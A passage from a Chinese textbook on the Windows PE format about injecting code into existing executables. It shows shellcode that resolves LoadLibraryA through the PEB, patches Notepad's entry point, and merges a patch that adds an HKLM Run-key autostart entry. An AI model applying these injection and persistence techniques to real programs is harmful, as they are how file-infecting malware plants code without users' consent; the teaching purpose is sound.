;第一个LDR_MODULE节点InInitializationOrderModuleList成员的指针 33 lodsd ;获取双向链表当前节点后继的指针 34 mov ebx,[eax+8] ;获取kernel32.dll的基地址 35 36 37 loc2: ;遍历导出表 38 mov esi,dword ptr [ebx+3ch] 39 add esi,ebx ;esi指向PE头 40 mov esi,dword ptr [esi+78h] 41 add esi,ebx ;esi指向数据目录中的导出表 42 mov edi,dword ptr [esi+20h] ;指向导出表的AddressOfNames 43 add edi,ebx ;EDI为AddressOfNames数组起始位置 44 mov ecx,dword ptr [esi+14h] ;指向导出表的NumberOfNames 45 46 push esi 47 xor eax,eax 48 49 loc3: 50 push edi 51 push ecx 52 mov edi,dword ptr [edi] 53 add edi,ebx ;edi指向了第一个函数的字符串名起始 54 mov esi,edx ;esi指向了特征函数名起始 55 xor ecx,ecx 56 mov cl,0ch ;特征函数名的长度 57 repe cmpsb 58 je loc4 ;找到特征函数，转移 59 60 pop ecx 61 pop edi 62 add edi,4 ;edi移动到下一个函数名所在地址 63 inc eax ;eax为索引 64 loop loc3 65 loc4: 66 pop ecx 67 pop edi 68 pop esi ;esi指向数据目录中的导出表 69 mov edi,dword ptr [esi+24h] ;指向导出表的Name索引 70 add edi,ebx ;edi为AddressOfNamesOrdinals数组起始位置 71 72 ;计算eax处的值 73 sal eax,1 ;eax中存放了指定索引距离数组的偏移 74 add edi,eax 75 mov ax,word ptr [edi] ;又是一个索引，指向AddressOfFunctions 76 mov edi,dword ptr [esi+1ch] ;AddressOfFunctions 77 add edi,ebx 78 79 sal eax,2 ;索引*4 80 add edi,eax 81 mov eax,dword ptr [edi] ;eax为取到的LoadLibraryA的RVA地址 82 add eax,ebx 83 84 ;edx指向patch.dll 85 ;加载dll，引发对补丁的调用 86 pop edx 87 add edx,0dh 88 push edx 89 call eax 90 ;跳转 91 db 0E9h,0FFh,0FFh,0FFh,0FFh 92 end start 行28～34是通过PEB获取kernel32.dll基地址。 行37～82是获取LoadLibraryA的函数VA。 行84～89是调用LoadLibraryA函数，动态引入动态链接库pa.dll。 行90～91是跳转到入口地址执行，该部分代码也可以使用FF 25无条件跳转指令。 13.4.3 字节码 13.4.3 字节码 使用FlexHex打开最终生成的getLoadLib.exe，将代码段的字节码复制出来如下所示。该代码在源代码中已有比较详尽的描述，经过特意调整动态链接库的名称为\"pa\"，即\"patch.dll\"的意思。调整后的大小为80h，即128个字节，这个尺寸要比最小的弹出对话框的PE（133字节）还要小，但它实现的功能却超出你的想象！ 13.4.4 运行测试 13.4.4 运行测试 下面使用记事本程序进行测试。将以上代码复制到记事本程序的文件偏移00007b48处，然后修改E9 FF FF FF FF为E9 D5 EB FF FF。 将记事本入口点（位于文件偏移0x00000108处）由原来的0000739D更改为00008748。运行记事本程序查看运行效果。 可以看到，在运行记事本前先弹出了对话框。 13.5 小结 13.5 小结 本章主要描述了对PE进程和PE文件进行补丁的不同方法，即动态补丁和静态补丁。重点对静态补丁中的基于PE文件的嵌入补丁技术进行了描述，内容包括补丁程序框架、补丁编写规则等。此外，还为读者描述了一种基于嵌入补丁技术的万能补丁码。 后续四章将分别介绍对PE文件实施嵌入补丁的四种不同方法，因此，熟练掌握本章的内容是学习后续章节的基础。"},
    {"text": "第14章 在PE空闲空间中插入程序 第14章 在PE空闲空间中插入程序 本章主要通过一个实例介绍如何将自己编写的程序代码加入到任何一个可执行文件的空闲空间中。由于要插入的是一个程序，其目标代码大小不定，PE文件头的可用空间比较分散，只适宜于针对特定指令代码的补丁，所以，这里的空闲空间只能利用节的剩余空间。 这种补丁方式难度很大，成功率也比较低，其可行性取决于目标PE文件中节的具体情况。 14.1 什么是PE空闲空间 PE空闲空间是指不需要对PE进行变形，且显式存在的可利用空间。在第12章PE变形技术中，对PE内部数据结构中所有可利用的空间进行了讨论。这些空闲空间包括PE文件头部结构中可连续利用的字段组成的空间，也包括文件头部、节区数据为了对齐而产生的空间。 14.1.1 PE文件中的可用空间 由文件头部可利用的连续字段组成的比较大的空间包含以下三个： 位于IMAGE_DOS_HEADER结构内的54（36h）个字节 微软链接器生成的DOS STUB块程序的104（68h）个字节 位于IMAGE_DATA_DIRECTORY结构内的52（34h）个字节 这些空间对于编写一个小巧的补丁代码已经足够了，特别是DOS STUB位置的104个字节；但是，对一些较大的补丁程序，哪怕是经过优化的补丁程序（如第13章中介绍的万能补丁码，其大小为80h），这三个空间中的任何一个还是无法完全容纳它。 除了空间问题以外，还有一个问题，那就是当PE加载器加载任务完成后，文件头部所在页面将被设置为只读；这样就限制了在以上可用空间中只能存放只读数据，其他可读写的数据、可执行的代码等都无法存放到这些空间中。比较麻烦的是，文件头部数据并没有对应的节来描述它，所以不可能在PE文件中定义文件头部所在页面的属性（除非采用其他非常规方法将该页面设置为可读、可写、可执行）。 既然文件头部结构中存在的连续空间无法实施大部分补丁程序，那么再来看一下PE文件中为了对齐而补足的空间。大部分的链接器在补足时将该空间的数值置为0，这个特性非常重要，因为只有这样才能结合PE文件结构中的描述，从一个陌生的PE里判断出哪些是对齐用的数据，以及这些数据的大小。 14.1.2 获取PE文件可用空间的代码 14.1.2 获取PE文件可用空间的代码 代码清单14-1显示了PE文件头部和每个节因对齐，以及因补足而产生的空闲空间情况（完整代码请见随书文件chapter14\\b\\pe.asm）： 代码清单14-1 获取PE中可用空间状况（chapter14\\b\\pe.asm） 1 mov eax,[esi].OptionalHeader.SizeOfHeaders 2 movzx eax,[esi].FileHeader.NumberOfSections 3 mov @dwSections,eax 4 5 invoke _appendInfo,addr szTitle 6 7 ;获取各节的内容 8 mov eax,@dwSections 9 mov @dwTemp,eax 10 sub @dwTemp,1 11 12 .while @dwTemp!=0FFFFFFFFh 13 mov eax,@dwSections 14 dec eax 15 .if @dwTemp == eax ;表示最后一个节 16 mov eax,@dwFileSize ;文件大小 17 mov @dwOff,eax 18 .else 19 mov eax,lpFOA 20 mov @dwOff,eax ;上一个节的起始 21 .endif 22 invoke _rSection,@lpMemory,@dwTemp,1,3 23 add eax,@lpMemory 24 mov esi,eax 25 assume esi:ptr IMAGE_SECTION_HEADER 26 mov eax,dword ptr [esi].PointerToRawData 27 mov lpFOA,eax 28 29 ;获取节的名字 30 pushad 31 invoke RtlZeroMemory,addr szSection,10 32 popad 33 34 nop 35 push esi 36 push edi 37 mov edi,offset szSection 38 mov ecx,8 39 cld 40 rep movsb 41 pop edi 42 pop esi 43 44 mov edi,@dwOff 45 add edi,@lpMemory 46 xor ecx,ecx 47 loc2:dec edi 48 mov al,byte ptr [edi] 49 .if al == 0 50 inc ecx 51 jmp loc2 52 .endif 53 54 mov dwAvailable,ecx 55 56 ;计算节区尺寸 57 mov eax,@dwOff 58 sub eax,lpFOA 59 mov dwTotalSize,eax 60 sub eax,dwAvailable 61 add eax,lpFOA 62 mov lpAvailable,eax 63 invoke wsprintf,addr szBuffer,addr szOut,\\ 64 addr szSection,\\ 65 lpFOA,\\ 66 dwTotalSize,\\ 67 dwTotalSize,\\ 68 dwAvailable,\\ 69 dwAvailable,\\ 70 lpAvailable 71 invoke _appendInfo,addr szBuffer 72 73 dec @dwTemp 74 .endw 75 76 ;获取文件头部可用空间 77 ;定位到第一个节表项 78 invoke _rSection,@lpMemory,0,1,3 79 add eax,@lpMemory 80 mov esi,eax 81 assume esi:ptr IMAGE_SECTION_HEADER 82 mov eax,dword ptr [esi].PointerToRawData 83 mov dwTotalSize,eax 84 85 xor ecx,ecx 86 add eax,@lpMemory ;指向文件头的尾部 87 mov edi,eax 88 loc1:dec edi 89 mov al,byte ptr [edi] 90 .if al == 0 91 inc ecx 92 jmp loc1 93 .endif 94 mov dwAvailable,ecx 95 mov lpFOA,0 96 mov eax,dwTotalSize 97 sub eax,dwAvailable 98 mov lpAvailable,eax 99 invoke wsprintf,addr szBuffer,addr szOut,\\ 100 addr szHeader,\\ 101 lpFOA,\\ 102 dwTotalSize,\\ 103 dwTotalSize,\\ 104 dwAvailable,\\ 105 dwAvailable,\\ 106 lpAvailable 107 invoke _appendInfo,addr szBuffer 程序分两大部分，第一部分是行7～74，这部分获取PE中所有节的空间信息并显示；剩下的部分为文件头部空间利用情况。"},
    {"text": "14.1.3 获取PE文件可用空间的测试 14.1.3 获取PE文件可用空间的测试 以下是获取因对齐而产生的空间的测试结果。 （1）测试记事本程序 运行结果如下： 注意，.head并不是一个节，而是文件头部，起这个名字是为了实现输出格式化。 （2）测试Explorer.exe程序 运行结果如下： 从测试结果看，大部分的应用程序的节中还是有很多可以利用的空间的，至少能找到可以存放万能字节码的空间。 14.2 添加注册表启动项的补丁程序实例 14.2 添加注册表启动项的补丁程序实例 首先来看本章要使用的补丁程序，补丁的主要目标是在注册表中注册一个启动项。本补丁程序用到三个与注册表相关的API函数，注册表操作系列函数位于动态链接库advapi32.dll中，在编程时需要引入它们的.inc文件和.lib文件。这三个函数分别是：RegCreateKey、RegSetValueEx和RegCloseKey。这三个函数的详细定义在第4章中已做过详细介绍，请读者自行查阅相关信息。 14.2.1 补丁程序的源代码 以下是补丁程序源代码，它完成了在注册表启动项中添加一条启动信息。 代码清单14-2 添加注册表启动项的补丁程序（chapter14\\b\\patch.asm） 1 ;------------------------ 2 ;补丁程序 3 ;author：戚利 4 ;date：2010.6.3 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include advapi32.inc 12 includelib advapi32.lib 13 14 ;数据段 15 .data 16 sz1 db 'SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN',0 17 sz2 db 'NewValue',0 18 sz3 db 'd:\\masm32\\source\\chapter4\\LockTray.exe',0 19 @hKey dd ? 20 21 22 ;代码段 23 .code 24 start: 25 invoke RegCreateKey,HKEY_LOCAL_MACHINE,addr sz1,addr @hKey 26 invoke RegSetValueEx,@hKey,addr sz2,NULL,\\ 27 REG_SZ,addr sz3,27h 28 invoke RegCloseKey,@hKey 29 30 jmpToStart db 0E9h,0F0h,0FFh,0FFh,0FFh ;注意该跳转是后来加入的 31 ret 32 end start 为了深入了解将补丁程序嵌入到目标PE文件的操作，以上代码并没有使用第13章介绍的嵌入补丁框架。补丁程序通过正常的代码编写方法（没有使用动态加载、重定位等技术）简单地完成了所需要设计的功能；其中，第30行代码开始时并不存在，这行代码的作用是结束嵌入代码执行，跳转到正常程序入口地址。后面将手工实现该代码的嵌入，首先来熟悉一下源程序编译链接后生成的字节码。 14.2.2 补丁程序的字节码 14.2.2 补丁程序的字节码 以下是补丁程序的字节码： 1.PE文件头 2.代码段 3.导入表 4.数据段 14.2.3 目标PE的字节码 14.2.3 目标PE的字节码 为简单起见，这次操作选择HelloWorld.exe作为这次测试的目标PE。以下所示是已经打造完成补丁嵌入的新的PE文件（chapter14\\HelloWorld_2.exe）的字节码。 1.PE文件头 与原始PE相比，改造后的PE文件头部信息的如下部分发生了变化（上面所列内容的黑体部分）： IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint（入口地址） IMAGE_DATA_DIRECTORY.isize(Import)（导入表大小） IMAGE_DATA_DIRECTORY.VirtualAddress(Import)（导入表所在位置） IMAGE_SECTION_HEADER(.code).VirtualSize（代码段所处的节的原始大小） IMAGE_SECTION_HEADER(.rdata).VirtualSize（导入表所处的节的原始大小） 2.代码段 合并以后的代码段明显分为两部分，黑体部分为原始代码的内容，没有发生任何变化；剩余部分字节码为补丁程序的代码段内容；所不同的是，某些指令的操作数已经做了修正。如补丁程序中的第一条压栈指令\"push addr @hKey\"，在原始的补丁字节码中显示：68 5E 30 40 00，修正以后的PE中显示：68 69 30 40 00。 由于补丁程序的数据段定义的数据变量发生了位置上的迁移，所以指令的操作数也跟随着发生了变化。 3.导入表 从ASCⅡ码显示的动态链接库及相关函数的名称可以看出，导入表对原始PE及补丁PE的导入采用了合并操作。当然，合并操作并不像看起来这么简单，合并不是数据的堆砌，而是根据结构进行有约束地重构造。后面还会讲述具体的操作。 4.数据段 注意 补丁后的PE文件数据段是补丁前PE数据段内容，及补丁程序数据段内容的叠加。这种叠加方式必须有一个前提，那就是要确保叠加补丁数据时的位置。补丁数据不能覆盖目标PE数据段的数据。因为原始PE文件的数据段中只定义了\"HelloWorld\\0\"字符串，所以合并时将补丁程序的数据内容紧跟在该字符串之后。"},
    {"text": "14.3 手工打造目标PE的步骤 14.3 手工打造目标PE的步骤 为了熟悉程序流程，先通过手工方式打造这一补丁。目的是使用最原始的不经过加工（如免重定位、动态加载技术）的程序，在尽量不改变目标PE结构的前提下，实现将代码附加到.text节中、将数据附加到.data节中、将导入表附加到.rdata中，以实施补丁。 14.3.1 基本思路 为了能将补丁程序插入到目标PE的空闲空间里，需要重点处理以下几种数据：数据段、代码段和常量段。此次手工补丁的基本思路如下： 首先，从目标PE中获取如下参数：目标PE的节空闲长度。由于导入表需要单独的空间，所以目标PE至少要有两个节。这样可以把补丁代码和数据放到一个节中，而导入表等其他常量则放到另外一个节中。 其次，计算补丁程序的代码节和数据节的大小，并判断目标PE是否有单独的节空间。 然后，计算补丁程序与目标PE总的导入表所需要的空间，并判断目标PE是否有单独的节空间。 最后，修正代码及相关参数。 打完补丁以后的目标程序大致结构见图14-1。 图 14-1 在节的空闲空间补丁 如图所示，依据同类数据放到相同类别的数据所在节中的基本原则，补丁代码嵌入到.text节，导入表及相关结构嵌入到.rdata节，而数据则嵌入到.data节。下面分别来看对各类数据的手工处理过程。"},
    {"text": "这时候需要在附加代码的最后添加一条跳转指令，该指令常用的有两种，一个是EB，另外一个是E9； 但EB属于近跳转，在某些大型的程序中，当附加代码和原代码距离超过一个字节时，该指令就无能为力了，所以，这里选用E9指令，后跟一个双字的有符号偏移量。"},
    {"text": "总体来说，对代码段的处理包括以下两部分： 将代码附加到目标PE的某个位置 修正代码中的地址 第一步操作很简单，将目标代码复制到原始代码后（文件偏移0x00000424处）即可。"},
    {"text": "代码清单14-3 测试字节码与汇编指令之间的关系（chapter14\\makeComFile.asm） 1 ;------------------------ 2 ;生成comset.bin文件，测试字节对应的指令 3 ;作者：戚利 4 ;开发日期：2010.6.2 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 16 ;数据段 17 .data 18 szText db 'Sucess!',0 19 szFile db 'c:\\comset.bin',0 ;生成的文件 20 szBinary db 00,00,00,00,00,90h,90h 21 hFile dd ? 22 dwSize db 0ffh 23 dwWritten dd ? 24 ;代码段 25 .code 26 start: 27 invoke CreateFile,addr szFile,GENERIC_WRITE,\\ 28 FILE_SHARE_READ,\\ 29 0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 30 mov hFile,eax 31 .repeat 32 mov al,dwSize 33 mov byte ptr [szBinary],al 34 invoke WriteFile,hFile,addr szBinary,7,addr dwWritten,NULL 35 dec dwSize 36 .break.if dwSize == 0 37 .until FALSE 38 invoke CloseHandle,hFile 39 invoke MessageBox,NULL,offset szText,NULL,MB_OK 40 invoke ExitProcess,NULL 41 end start 该程序的基本思路是构造从00～ff之间的所有指令码的指令+操作数，指令与指令之间操作数的长度为6个字节，最后两个字节是指令nop对应的90h。 运行后生成comset.bin字节码集合，使用dasm反编译，会生成如下结构的指令码与字节码之间的对应关系。"},
    {"text": "通过以上方法可以得知，在00～ff字节码中，被翻译为跳转指令的一共有3个，它们分别是（加黑部分）： 扩展学习 两种最常用的跳转指令EB和E9 （1）EB指令 该指令为段内跳转指令，其后跟一个字节的偏移，其反汇编的代码为： EB xx JMP SHORT DWORD PTR [$+xx] 其中偏移xx是有符号数。"},
    {"text": "10100000（去符号位）=0100000（取反）=1011111（加1） =1100000（转十六进制）=60h 从指令EB A0的下一条指令开始往前找60h个字节，就是要跳转到的位置。"},
    {"text": "（2）E9指令 E9是段间相对转移指令，后面跟的是相对当前指令的下一条指令的地址的偏移量，目标地址的计算公式为： 该指令中的偏移值+本转移指令的下一条指令的地址 看一个例子： 因为在Win32下E9指令占5个字节，所以： 偏移量=目标地址-（转移指令所在地址+5） =00481f3c-（00401000+5）=00080f37 输入时LSB（最低有效位）在前，MSB（最高有效位）在后就可以了。"},
    {"text": "invoke RegCreateKey,HKEY_LOCAL_MACHINE,addr sz1,addr @hKey invoke RegSetValueEx,@hKey,addr sz2,NULL,\\ REG_SZ,addr sz3,27h invoke RegCloseKey,@hKey jmpToStart db 0E9h,0F0h,0FFh,0FFh,0FFh 那么E9指令后的操作数如何计算呢？"},
    {"text": "看下面的例子： E9指令操作数是有方向的偏移量，如果是往后跳，则将当前位置和要跳转的位置间的间隔字节个数（该间隔包含E9指令本身）减1，然后取反； 如果是往前跳，则直接用当前位置和要跳转的位置间的间隔（含E9指令本身）字节个数即可。 如上加黑部分所示\"JMP patch.0040102F\"，该示例为前跳，要跳转的位置是0040102Fh。 计算该位置的指令到E9指令的字节码个数为16，二进制表示00000010h，减1以后得到的结果为0000000Fh； 将0000000Fh取反得到的结果是FFFFFFF0h，该结果即为E9指令的偏移。"},
    {"text": "从E9指令到目标文件的最初起始指令大小为63h，减1以后为62h（即0000 0000 0000 0000 0000 0000 0110 0010），取反结果为1111 1111 1111 1111 1111 1111 1001 1101，写成十六进制为FF FF FF 9Dh。"},
    {"text": "类似的代码如下： mov eax,dwPatchImageBase ;补丁基地址:040000h add eax,dwPatchMemDataStart ;补丁数据段起始地址：003000h mov @value1,eax .repeat mov bx,word ptr [edi] .if bx == 05FFh ;取其后的一个字FF 05 43 02 04 00 mov ebx,dword ptr [edi+2] mov @value,ebx mov eax,@value ;计算RVA中距离数据段起始的偏移量@off sub eax,@value1 mov @off,eax and ebx,0ffff0000h ;判断该双字是否以ImageBase开始 mov edx,dwPatchImageBase and edx,0FFFF0000h .if ebx == edx 3.修正代码中的RVA 代码中有许多对数据段变量进行操作的指令，由于在进行数据合并时更改了数据段中某些变量的位置，所以，指令中这些涉及数据段变量的操作数必须得到修正。"},
    {"text": "本实例将只对以下指令后的操作数进行修正： 具体包括： A3指令（传值指令mov @hKey,eax） B8指令（传值指令mov eax,offset sz1） 03 05指令（加法指令add eax,@hKey） FF 05指令（加1指令inc @hKey） 68指令（段内压栈指令push dword ptr ds:[xxxx]） FF 25指令（跨段的跳转指令jmp dword ptr ds:[xxxx]） FF 35指令（跨段的压栈指令push dword ptr ds:[xxxx]） 下面是对两个PE文件代码的合并。"},
    {"text": "最终生成的目标文件的0400h处开始的是原代码，未做任何修改： 从0424h处开始的是新代码，代码中凡是地址的操作数均做了修正（以下加边框的部分）。"},
    {"text": "例如，第一个地址原始值为0040305Eh，因为数据段的地址是在原数据的后面，即距离原数据的偏移为： 数据当前位置减去数据原来位置： 0000300Bh-00003000h=0Bh 地址进行修正的时候加上这个偏移量即可。 如例子中的第一个地址： 0040305Eh+0Bh=00403069h 所以说，确定了数据在内存中的地址以后再对代码中的地址进行修正就很容易了。"},
    {"text": "14.3.3 对导入表的处理 14.3.3 对导入表的处理 要想操作导入表，必须知道导入表所在节的相关信息，所以，首先要找到导入表所在的节。 导入表所在的节的确定方法如下： 步骤1 通过数据目录表获取导入表的RVA。"},
    {"text": "知道了导入表的在哪个节里，与这个节有关的其他信息，比如，节在文件中的的起始地址、节在内存中的起始地址、节的实际尺寸等参数，就可以从节表项的结构中获取到了，相关代码如下： mov esi,_lpFileHead assume esi:ptr IMAGE_DOS_HEADER add esi,[esi].e_lfanew assume esi:ptr IMAGE_NT_HEADERS mov edi,_dwRVA mov edx,esi add edx,sizeof IMAGE_NT_HEADERS assume edx:ptr IMAGE_SECTION_HEADER movzx ecx,[esi].FileHeader.NumberOfSections ;遍历节表 .repeat mov eax,[edx].VirtualAddress add eax,[edx].SizeOfRawData ;计算该节结束RVA .if(edi＞=[edx].VirtualAddress)＆＆(edi＜eax) mov eax,[edx].PointerToRawData jmp @F .endif add edx,sizeof IMAGE_SECTION_HEADER .untilcxz 为了将补丁导入表数据插入到目标PE中，首先要知道在补丁代码中一共调用了多少个动态链接库，以及每个动态链接库所引入的函数个数，这些信息可以从导入表中获取到。"},
    {"text": "特别注意 原有的IAT一定不能破坏，否则会导致原指令中许多语句（那些涉及地址访问的语句）需要修改，这可是个大工程，相信你不会愿意那么做的。"},
    {"text": "基本想法是将目标文件中描述导入表的几个IMAGE_IMPORT_DESCRIPTOR数组原样移走，而代替原位置的将是补丁程序的IAT数据，以及由originalFirstThunk指向的结构数组数据。"},
    {"text": "如果补丁程序调用的函数比较多，采用上述方法也会出现问题，主要是用来存放补丁程序导入表相关的两个结构无法在目标导入表的空间里容纳下，这时候可以采用第二种策略，即将两个相关结构放到其他空闲空间中。"},
    {"text": "代码清单14-4 获取PE文件的导入表调用的函数个数(chapter14\\bind.asm的_getImportFunctions函数) 1 ;--------------------------------- 2 ;获取PE文件的导入表调用的函数个数 3 ;--------------------------------- 4 _getImportFunctions proc _lpFile 5 local @szBuffer [1024]:byte 6 local @szSectionName [16]:byte 7 local _lpPeHead 8 local @dwDlls,@dwFuns,@dwFunctions 9 10 pushad 11 mov edi,_lpFile 12 assume edi:ptr IMAGE_DOS_HEADER 13 add edi,[edi].e_lfanew ;调整esi指针指向PE文件头 14 assume edi:ptr IMAGE_NT_HEADERS 15 mov eax,[edi].OptionalHeader.DataDirectory [8].VirtualAddress 16 .if!eax 17 jmp @F 18 .endif 19 invoke _RVAToOffset,_lpFile,eax 20 add eax,_lpFile 21 mov edi,eax ;计算引入表所在文件偏移位置 22 assume edi:ptr IMAGE_IMPORT_DESCRIPTOR 23 invoke _getRVASectionName,_lpFile,[edi].OriginalFirstThunk 24 25 mov @dwFuns,0 26 mov @dwFunctions,0 27 mov @dwDlls,0 28 29 .while [edi].OriginalFirstThunk||[edi].TimeDateStamp||\\ 30 [edi].ForwarderChain||[edi].Name1||[edi].FirstThunk 31 mov @dwFuns,0 32 invoke _RVAToOffset,_lpFile,[edi].Name1 33 add eax,_lpFile 34 35 ;获取IMAGE_THUNK_DATA列表到ebx 36 .if [edi].OriginalFirstThunk 37 mov eax,[edi].OriginalFirstThunk 38 .else 39 mov eax,[edi].FirstThunk 40 .endif 41 invoke _RVAToOffset,_lpFile,eax 42 add eax,_lpFile 43 mov ebx,eax 44 .while dword ptr [ebx] 45 inc @dwFuns 46 inc @dwFunctions 47 .if dword ptr [ebx]＆IMAGE_ORDINAL_FLAG32 ;按序号导入 48 mov eax,dword ptr [ebx] 49 and eax,0ffffh 50 .else ;按名称导入 51 invoke _RVAToOffset,_lpFile,dword ptr [ebx] 52 add eax,_lpFile 53 assume eax:ptr IMAGE_IMPORT_BY_NAME 54 movzx ecx,[eax].Hint 55 assume eax:nothing 56 .endif 57 add ebx,4 58 .endw 59 mov eax,@dwFuns 60 mov ebx,@dwDlls 61 mov dword ptr dwFunctions [ebx*4],eax 62 mov dword ptr dwFunctions [ebx*4+4],0 63 inc @dwDlls 64 add edi,sizeof IMAGE_IMPORT_DESCRIPTOR 65 .endw 66 mov ebx,@dwDlls 67 mov dword ptr dwFunctions [ebx*4],0 68 @@: 69 assume edi:nothing 70 popad 71 mov eax,@dwDlls 72 mov ebx,@dwFunctions 73 ret 74 _getImportFunctions endp 步骤2 求补丁程序每个动态链接库对应的函数的个数。"},
    {"text": "有了以上信息，新导入表比最初的导入表增加的大小就可以计算出来： ①（所有的函数个数+动态链接库个数）*4=新IAT项大小 ②（所有的函数个数+动态链接库个数）*4=新originalFirstThunk表项大小 ③（目标文件动态链接库个数+补丁文件动态链接库个数）*sizeof IMAGE_IMPORT_DESCRIPTOR=新增加的导入表项大小 ④补丁函数名和动态链接库的字符串部分 1）将①和②两项的和与目标文件导入表数组的大小比较，如果前者小于后者，则满足条件，可以继续进行，否则提示空间不足。"},
    {"text": "将目标文件偏移0610处（即目标文件导入表）开始的3ch字节复制到导入表所在节的空闲空间中（文件偏移0692h），然后修改目标文件中数据目录中导入表的RVA为00002092h，经过这样修改的PE依旧可以运行，而无需改动其他位置的数据。"},
    {"text": "步骤7 将导入表相关的函数名与动态链接库的名字附加到新导入表的后面，如下所示： 步骤8 将导入表涉及的IAT，以及由originalFirstThunk指向的数据结构数组分别存放到目标文件的原始导入表位置，即610h开始的位置。"},
    {"text": "对参数的修正包括以下三步： 1）数据目录表中将导入表的RVA更改为00002092h，大小设置为50h。 2）导入表所在的节.rdata大小设置为0120h。"},
    {"text": "使用PEInfo对修改完数据和导入表信息的新的PE文件HelloWorld_1.exe进行测试，查看导入表是否可以被正确识别，如下所示： 如上黑体所示，PEInfo已可正确识别修改后的PE文件的导入表信息，文件也可执行。"},
    {"text": "因为补丁程序是开发者自己编写的，所以每个节的真实大小，都在节表项的IMAGE_SECTION_HEADER.VirtualSize字段中被记录下来，其他来源的PE文件则无法通过数据结构中的该字段获取真实大小（因为即使用户更改了这一部分内容，装载器也不会发现错误！"},
    {"text": "这种判断方法会存在一些安全隐患，比如，目标PE文件的数据段中有一些连续的初始化为0的数据，通过这种方法找到的空间大小可能会比实际的大。"},
    {"text": "在实际操作中将忽略这个安全因素，而直接记录下这个比较重要的值，即在目标文件中存放补丁数据的起始地址（文件中的），其他数据的插入方法类似。"},
    {"text": "代码清单14-5 判断PE文件数据段是否能容纳补丁代码的数据（chapter14\\bind.asm的_openFile函数部分代码） 1 ;获取补丁文件数据段的大小 2 invoke getDataSize,@lpMemory 3 mov dwPatchDataSize,eax 4 5 .if eax == 0 ;未找到存放数据的节 6 invoke _appendInfo,addr szErr110 7 .else 8 invoke wsprintf,addr szBuffer,addr szOut11,eax 9 invoke _appendInfo,addr szBuffer 10 .endif 11 12 13 14 ;获取补丁文件数据段在内存中的起始位置 15 invoke getDataStart,@lpMemory 16 mov dwPatchDataStart,eax 17 18 invoke wsprintf,addr szBuffer,addr szOut12,eax 19 invoke _appendInfo,addr szBuffer 20 21 ;获取目标文件数据段的大小 22 invoke getDataSize,@lpMemory1 23 mov dwDstDataSize,eax 24 25 invoke wsprintf,addr szBuffer,addr szOut13,eax 26 invoke _appendInfo,addr szBuffer 27 28 ;获取目标文件数据段在内存中的起始位置 29 invoke getDataStart,@lpMemory1 30 mov dwDstDataStart,eax 31 32 invoke wsprintf,addr szBuffer,addr szOut14,eax 33 invoke _appendInfo,addr szBuffer 34 35 ;获取目标文件数据段在文件中对齐后的大小 36 invoke getRawDataSize,@lpMemory1 37 mov dwDstRawDataSize,eax 38 39 invoke wsprintf,addr szBuffer,addr szOut15,eax 40 invoke _appendInfo,addr szBuffer 41 42 ;获取目标数据段在内存中的起始位置 43 invoke getDataStartInMem,@lpMemory1 44 mov dwDstMemDataStart,eax 45 46 invoke wsprintf,addr szBuffer,addr szOut17,eax 47 invoke _appendInfo,addr szBuffer 48 49 50 ;从本节的最后一个位置起往前查找连续的全0字符 51 mov eax,dwDstDataStart 52 add eax,dwDstRawDataSize ;定位到本节的最后一个字节 53 mov ecx,dwPatchDataSize 54 mov esi,@lpMemory1 55 add esi,eax 56 dec esi 57 .repeat 58 mov bl,byte ptr [esi] 59 .break.if bl!=0 60 dec esi 61 dec ecx 62 dec eax 63 .break.if ecx == 0 64 .until FALSE 65 .if ecx == 0 ;表示找到了连续可用的空间 66 mov @dwTemp1,eax 67 sub eax,dwPatchDataSize 68 mov dwStartAddressinDstDS,eax 69 70 mov @dwTemp,0 71 72 mov esi,@lpMemory1 73 mov eax,dwDstDataStart 74 add eax,dwDstRawDataSize ;定位到本节的最后一个字节 75 add esi,eax 76 dec esi 77 .repeat 78 mov bl,byte ptr [esi] 79 .break.if bl!=0 80 inc @dwTemp 81 dec esi 82 .until FALSE 83 84 invoke wsprintf,addr szBuffer,addr szOut16,@dwTemp,@dwTemp1 85 invoke _appendInfo,addr szBuffer 86 .else ;数据段空间不够 87 invoke _appendInfo,addr szErr11 88 .endif 89 90 invoke _appendInfo,addr szoutLine 从以上的代码中可以看出，退出补丁过程需要满足两个条件： 如果文件中不存在可存放数据的节，则退出，并提示未找到.data节。"},
    {"text": "因为对0的计数是从节的最后一个字节开始的，所以合并以后的数据段的情况是：如果空闲空间很大，那么老数据和新数据之间可能会存在很多0。"},
    {"text": "14.3.5 修改前后PE文件对比 14.3.5 修改前后PE文件对比 需要修正和迁移的数据基本都完成了，使用PEComp程序对比两个程序，运行界面如图14-2所示。 图 14-2 手工补丁后的HelloWorld_2.exe与HelloWorld.exe对比 从对比图可以看出，手工补丁后的HelloWorld_2.exe和补丁前的HelloWorld.exe的区别有三处： 1）文件头部分，程序入口地址做了修改，即字段IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint的值不一样。 2）数据目录表中对导入表的描述不一样。因为导入表已经被搬移了原来的位置，而原来的位置放置了新文件的数据结构（包括补丁IAT和补丁的originalFirstThunk指向的数据结构数组）。 3）三个节的长度不一样。前面已经讲过，数据节的长度不需要修正，程序可以照常运行。 14.4 开发补丁工具 14.4 开发补丁工具 掌握以上的基础知识后，下面来开发补丁工具。该工具将要完成的操作与14.3节手工完成的类似。程序开发的流程会很复杂，希望大家阅读时要有耐心。 14.4.1 编程思路 补丁工具编写的思路如下： 步骤1 将补丁程序和目标程序均映射到内存中，并通过获取的内存操作句柄@lpMemory和@lpMemory1进行PE文件的读取操作。 步骤2 在内存中开辟一个与目标文件大小相同的空间，用来记录句柄lpDstMemory，并将目标文件原样复制到该区域。复制代码如下： ;为目标文件分配内存 invoke GlobalAlloc,GHND,@dwFileSize1 mov @hDstFile,eax invoke GlobalLock,@hDstFile mov lpDstMemory,eax ;将指针给@lpDst ;将目标文件复制到内存区域 invoke MemCopy,@lpMemory1,lpDstMemory,@dwFileSize1 步骤3 按照规则将补丁程序的数据、导入表、代码复制到内存的指定位置，并修正PE文件的各参数。 步骤4 将内存数据lpDstMemory开始的新文件内容写入到新的文件中。"},
